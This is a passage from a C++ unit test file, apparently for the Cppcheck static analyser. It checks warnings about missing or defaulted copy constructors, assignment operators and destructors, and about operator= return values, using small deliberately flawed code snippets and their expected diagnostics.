constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:10:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class B;\\n\"\n \"};\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" B & operator=(const B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B & b) { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace A {\\n\"\n \" class B;\\n\"\n \"}\\n\"\n \"class A::B\\n\"\n \"{\\n\"\n \" A::B & operator=(const A::B &);\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B & b) { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis( // #11380\n \"struct S {\\n\"\n \" S& operator=(const S& other) {\\n\"\n \" i = []() { return 42; }();\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis2() {\n // ticket # 1323\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"szp &szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:12]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"namespace NS {\\n\"\n \" class szp;\\n\"\n \"}\\n\"\n \"class NS::szp\\n\"\n \"{\\n\"\n \" NS::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n 